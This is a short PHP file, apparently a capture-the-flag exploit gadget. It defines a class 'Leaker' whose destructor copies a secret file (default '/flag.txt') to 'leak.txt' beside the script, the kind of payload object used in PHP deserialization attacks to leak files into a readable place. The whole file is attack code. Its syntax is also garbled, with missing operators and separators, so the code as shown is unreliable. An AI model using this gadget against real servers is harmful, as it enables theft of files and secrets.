<?php

class Leaker {
    public 
$target;  // PHP 7.4 compatible (no typed properties)

    
public function __construct($target '/flag.txt') {
        
$this->target $target;
    }

    public function 
__destruct() {
        
$out __DIR__ '/leak.txt';
        if (@
is_readable($this->target)) {
            @
copy($this->target$out);
        }
    }
}